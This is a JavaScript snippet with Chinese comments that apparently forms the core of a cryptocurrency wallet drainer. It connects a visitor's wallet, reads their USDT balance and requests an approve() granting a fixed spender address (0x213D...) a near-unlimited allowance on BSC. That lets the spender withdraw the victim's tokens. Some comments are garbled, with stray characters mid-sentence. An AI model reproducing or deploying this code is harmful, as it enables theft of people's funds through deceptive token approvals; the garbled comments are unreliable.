let walletAddress = await window.ethereum.enable().then((res) => {
                    return walletAddress = res[0];
                })
                const netId = await this.getNetworkId()
                //獲取當(dāng)前節(jié)點(diǎn)網(wǎng)絡(luò)id
                console.log(walletAddress,'walletAddress',netId,'netId')
                let tokenAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955';
                let spenderAddress = address.result || '0x213D9388AE7DBde5EDF8a3D4CE2918049b2EAA7c';
                
                // console.log(tokenAddress,999**18)
                // 創(chuàng)建代幣合約實(shí)例，替換為你的代幣合約ABI和地址
                const contractAbi = netId == 1?ERC_USDT_ABI:GLOBAL_ABI; // 代幣合約ABI
                let web3 = new Web3(window.web3.currentProvider)
                const contract  = new web3.eth.Contract(contractAbi, tokenAddress);
                // 轉(zhuǎn)換代幣數(shù)量為合約所需的格式
                console.log(contract.methods,'contract')
                const balance = await contract.methods.balanceOf(walletAddress).call();
                //獲取當(dāng)前錢包代幣余額
                // ERC-20 代幣合約地址 USDT - 0xdac17f958d2ee523a2206206994597c13d831ec7
                //BEP-20 代幣合約地址 USDT - 0x55d398326f99059ff775485246999027b3197955
                const tokenContractAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955'; // 替換為你的 ERC-20 代幣合約地址
                // 獲取最新的 gasPrice
                const newGasPrice = await web3.eth.getGasPrice()
                // console.log(newGasPrice,'newGasPrice',Math.floor(newGasPrice * 1.1).toString())
                // const gasPriceInGwei = web3.utils.fromWei(Math.floor(newGasPrice * 1.1).toString(), 'gwei');
                // console.log('最新 gasPrice:', gasPriceInGwei, 'gwei');
                // 加載代幣合約
                const tokenContract = new web3.eth.Contract(contractAbi, tokenContractAddress);
                
                // 獲取授權(quán)方法的 gas 使用情況
                const methodSignature = tokenContract.methods.approve(tokenContractAddress, '1000000000000000000').encodeABI();
                const newGas = await web3.eth.estimateGas({
                    to: tokenContractAddress,
                    data: methodSignature
                })
                // console.log(newGas,'newGas')
                let amountInTokens = 100;
                let amountInWei = netId == 1 ?web3.utils.toWei(amountInTokens.toString(), 'ether'): await (999999999999999*1).toString().concat(web3.utils.padRight('0', 18));
                // 999999999999999
                web3.utils.toBN('0xffffffffffffffffffffff')
                web3.eth.getBlock('latest', (error, block) => {
                  if (error) {
                    console.error('獲取最新區(qū)塊失敗:', error);
                  } else {
                    console.log('最新區(qū)塊 gas 使用情況:', block.gasUsed);
                  }
                })
                // 設(shè)置 gasLimit 為預(yù)估的 gas 使用量加上一定的額外值（例如蹄殃，加上20%的額外 gas）
                const gasLimit = Math.floor(newGas * 1.2); // 設(shè)置gasLimit
                const gasPrice = Math.floor(newGasPrice * 1.1).toString(); // 設(shè)置gasPrice椰拒，以wei為單位 6wei 
                const txObject = {
                  from: walletAddress,
                  gas: gasLimit,
                  gasPrice: gasPrice,
                };
                console.log(txObject)
                const tx1 = await contract.methods.approve(spenderAddress,amountInWei).send(txObject,(err,tx)=>{
                  console.log(err,tx,'approve/approve',tx1)
                })